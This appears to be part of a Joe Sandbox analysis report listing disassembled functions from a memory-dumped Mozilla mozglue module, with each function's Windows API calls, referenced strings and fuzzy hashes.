Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: d57258e83425208e358032b0506718741ebd00a57a8cf8ad5e1cd2de88663716
Instruction ID: 2093a59b7913c16a0f226f63fd686fd4ed4ce7de6778d9e21167111eed48dc28
Opcode Fuzzy Hash: d57258e83425208e358032b0506718741ebd00a57a8cf8ad5e1cd2de88663716
Instruction Fuzzy Hash: 6161D0717003459FDF00DFB9E984BDABBB5EB4E324F944529E91593780D730A898CB91

Function 6CB36660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB5F618), ref: 6CB36694
GetThreadId.KERNEL32(?), ref: 6CB366B1
GetCurrentThreadId.KERNEL32 ref: 6CB366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB366E1
EnterCriticalSection.KERNEL32(6CB5F618), ref: 6CB36734
GetCurrentProcess.KERNEL32 ref: 6CB3673A
LeaveCriticalSection.KERNEL32(6CB5F618), ref: 6CB3676C
GetCurrentThread.KERNEL32 ref: 6CB367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB36868
RtlCaptureContext.NTDLL ref: 6CB3687F

Strings

WalkStack64, xrefs: 6CB36890

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 26874d0529ac2c699c5aeca558b0e62325b00681fa6519dd47d927f6c032c99c
Instruction ID: 03b48647611d65c9fc982d0aeed858c2df89c4477ea7e10626af20089d73e96d
Opcode Fuzzy Hash: 26874d0529ac2c699c5aeca558b0e62325b00681fa6519dd47d927f6c032c99c
Instruction Fuzzy Hash: A7519A71A09391EFDB11CF24C848A9EBBF4FF89714F44492DF99997640D7B0A908CB92

Function 6CB1DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1DE73
GetCurrentThreadId.KERNEL32 ref: 6CB1DF7D
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB1DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAE4A68), ref: 6CB1DE7B

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAE4A68), ref: 6CB1DEB8
free.MOZGLUE(00000000,?,6CAE4A68), ref: 6CB1DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB1DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CB1DE83
<none>, xrefs: 6CB1DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB1E00E

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 08969cab46bc7cae27eedbf13f7940bf39623de0156b11e81b3bd227a035ad60
Instruction ID: 8fdf1ffa625f5a5c0aba1dd542e23d53b13675e2ba9a80f00508539a198a6a4c
Opcode Fuzzy Hash: 08969cab46bc7cae27eedbf13f7940bf39623de0156b11e81b3bd227a035ad60
Instruction Fuzzy Hash: 85410235B052909BEF119F74E8087AEBB76EB4631DF940019EA09D7F41CB719909CBE2

Function 6CB2D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB2D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D52A
GetCurrentThreadId.KERNEL32 ref: 6CB2D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D55F
free.MOZGLUE(00000000), ref: 6CB2D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB2D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB2D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D652
GetCurrentThreadId.KERNEL32 ref: 6CB2D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB2D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB2D6A2

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d90536d404f5fd680aafa07b11a73fb7590697bbd9729af725a2e7082b9b7eff
Instruction ID: 56ec730cd6e2a5d3d669e03a230a166cb3ab3319514b5190f103db1d3e2bb07a
Opcode Fuzzy Hash: d90536d404f5fd680aafa07b11a73fb7590697bbd9729af725a2e7082b9b7eff
Instruction Fuzzy Hash: C5518C71604745DFC704DF35C488AAABBF4FF89318F508A2EE85A87750DB34A889CB91

Function 6CAF5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAF56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAF56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAF5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAF57BC
GetTickCount64.KERNEL32 ref: 6CAF58CB
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAF58F3
__aulldiv.LIBCMT ref: 6CAF5945
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAF59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB5F638,?,?,?,?), ref: 6CAF59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAF56CC

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: a8a7815218075c717e3cfdc1f410c884c61df76e5c201851744df7a57072f80c
Instruction ID: e968742cb9fca10ec2960ce05224a3b752e3890e1d0c9df77f0b192104f96f33
Opcode Fuzzy Hash: a8a7815218075c717e3cfdc1f410c884c61df76e5c201851744df7a57072f80c
Instruction Fuzzy Hash: B0C16E71A097409FDB05DF28C48066AFBF1BFCA714F598A1DF8D497660D730A986CB82

Function 6CB1EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1EC8C

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1ECA1
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB1ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB1ED19
CloseHandle.KERNEL32(?), ref: 6CB1ED28
free.MOZGLUE(00000000), ref: 6CB1ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB1EC94

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 936fd716e61c582a0481fde0209d947ee7a7b9fb3e080406bcab4e86ab64102f
Instruction ID: 805018b925402bb3cf9b347ba6a8822af796490672cef7d862fdb3a66cd5df9e
Opcode Fuzzy Hash: 936fd716e61c582a0481fde0209d947ee7a7b9fb3e080406bcab4e86ab64102f
Instruction Fuzzy Hash: EE21C475604198ABEF019F64DC08AAEBB7AEF4636CF944210FD1897F41DB319815CBA2

Function 6CB18ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CADEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB1B392,?,?,00000001), ref: 6CB191F4

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

Strings

data, xrefs: 6CB190E8
marker-table, xrefs: 6CB1906C
stack-chart, xrefs: 6CB190B2
timeline-ipc, xrefs: 6CB19096
name, xrefs: 6CB18F16
timeline-memory, xrefs: 6CB19088
timeline-overview, xrefs: 6CB1907A
marker-chart, xrefs: 6CB1905E
timeline-fileio, xrefs: 6CB190A4

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 435ae39b7cb3ae3fd014ba4fed345726702c6603348edfb75d4cebd75b938488
Instruction ID: 8adf8801fb1bc2c5edcc4107334570c0decb2421692a8d5ee6698d9717817cc7
Opcode Fuzzy Hash: 435ae39b7cb3ae3fd014ba4fed345726702c6603348edfb75d4cebd75b938488
Instruction Fuzzy Hash: 48B1D1B0E052899BDB04CF94D5957EEBBB6FF84318F548429D402ABF84C731A958CBE1

Function 6CAFC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAFC5A3
WideCharToMultiByte.KERNEL32 ref: 6CAFC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CAFC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CAFCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAFCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFCAA5

Strings

0, xrefs: 6CAFD30A
(null), xrefs: 6CAFC596

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 14a6bb4e7e9a398de6d7023fc2f81eedd658d4cd8ef317a3faead402b080971b
Instruction ID: e649b79dbb77f9cc07424c7a1fe68208250c2206cc3ddd1c2718baea43cf4cf0
Opcode Fuzzy Hash: 14a6bb4e7e9a398de6d7023fc2f81eedd658d4cd8ef317a3faead402b080971b
Instruction Fuzzy Hash: 47A1BE306083418FDB11DF2AC59475ABBF5AF89748F08891CF9A997741D731E886CB82

Function 6CAD3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAD350E
__Init_thread_footer.LIBCMT ref: 6CAD3522
__aulldiv.LIBCMT ref: 6CAD3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD3592

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

Strings

kernel32.dll, xrefs: 6CAD34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAD3508

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 0941a0edf8be6238785d249d8989bcd8690e945505a987bf649a4a67c75d096d
Instruction ID: 579b1f4cf63e55a9e2683b9c0d23ac71e849e1531cf9507a2ca42a56cac6f939
Opcode Fuzzy Hash: 0941a0edf8be6238785d249d8989bcd8690e945505a987bf649a4a67c75d096d
Instruction Fuzzy Hash: DC31E275B01249AFDF04DFB9C858AAEB7B9FB45304F950419E541E3690DB70A944CF60

Function 6CAD4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB14843,?), ref: 6CAD45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB14843,?), ref: 6CAD468A
free.MOZGLUE(?,?,?,?,?,?,6CB14843,?), ref: 6CAD46C9
free.MOZGLUE(?), ref: 6CAD46EF
free.MOZGLUE(?), ref: 6CAD4712
free.MOZGLUE(?), ref: 6CAD4735
free.MOZGLUE(?), ref: 6CAD4758
free.MOZGLUE(?), ref: 6CAD477B
free.MOZGLUE(?), ref: 6CAD479E

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: df0e6eb0b3d7cae533daee4d3393ca6164037314bbbbbb78d63a284adca607d4
Instruction ID: 7e0222777137dc3be3871d8c5b79993f9f0621ba9e9e75ffe3d4b7ec3544dcfc
Opcode Fuzzy Hash: df0e6eb0b3d7cae533daee4d3393ca6164037314bbbbbb78d63a284adca607d4
Instruction Fuzzy Hash: 9BB1F471A041508FDB18CF3CD9947AD77B2AF42328F1A4679E426DBB86D731E8C48B81

Function 6CB3AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB3AC52
CreateFileMappingW.KERNEL32 ref: 6CB3AC7D
GetSystemInfo.KERNEL32 ref: 6CB3AC98
MapViewOfFile.KERNEL32 ref: 6CB3ACB0
GetSystemInfo.KERNEL32 ref: 6CB3ACCD
MapViewOfFile.KERNEL32 ref: 6CB3AD05
UnmapViewOfFile.KERNEL32 ref: 6CB3AD1C
CloseHandle.KERNEL32 ref: 6CB3AD28
UnmapViewOfFile.KERNEL32 ref: 6CB3AD37
CloseHandle.KERNEL32 ref: 6CB3AD43
CloseHandle.KERNEL32 ref: 6CB3AD67

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: c71aca881e8396b9441b6e345b31bd0d468868600f808c660f6c3e829532f497
Instruction ID: 9e47401f06a91691ac265a0253b3c9878ef407e89e2653ae62f6b094a935bb25
Opcode Fuzzy Hash: c71aca881e8396b9441b6e345b31bd0d468868600f808c660f6c3e829532f497
Instruction Fuzzy Hash: 0D314FB1A047448FDB01EFB8D64866EBBF0FF85305F558A2DE98997251EB709448CB82

Function 6CAE9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAE9675
__Init_thread_footer.LIBCMT ref: 6CAE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAE9707
__Init_thread_footer.LIBCMT ref: 6CAE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9773

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAE97B7
FreeLibrary.KERNEL32 ref: 6CAE97D0
FreeLibrary.KERNEL32 ref: 6CAE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9824

Strings

ntdll.dll, xrefs: 6CAE96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAE9670
NtMapViewOfSection, xrefs: 6CAE9701
MapViewOfFileNuma2, xrefs: 6CAE97B1

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 6a85cbb8f6784ba8e28b624b0b9846f08e1304b32d2af979ef270a28107c5124
Instruction ID: 688cbd2cc66ae19c7f876d174ff06f20a74e7cc8562d82b15c4cb6d5f077384a
Opcode Fuzzy Hash: 6a85cbb8f6784ba8e28b624b0b9846f08e1304b32d2af979ef270a28107c5124
Instruction Fuzzy Hash: CF4179B57003459FDF009FA5E984E9ABBB4EB49328F844529ED1597740E730A858CFE1

Function 6CAD1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1EC1
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1EE1
EnterCriticalSection.KERNEL32(6CB5E744), ref: 6CAD1F38
LeaveCriticalSection.KERNEL32(6CB5E744), ref: 6CAD1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAD1F83
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FC0
EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FE2
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAD2019

Strings

MOZ_CRASH(), xrefs: 6CAD2000

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

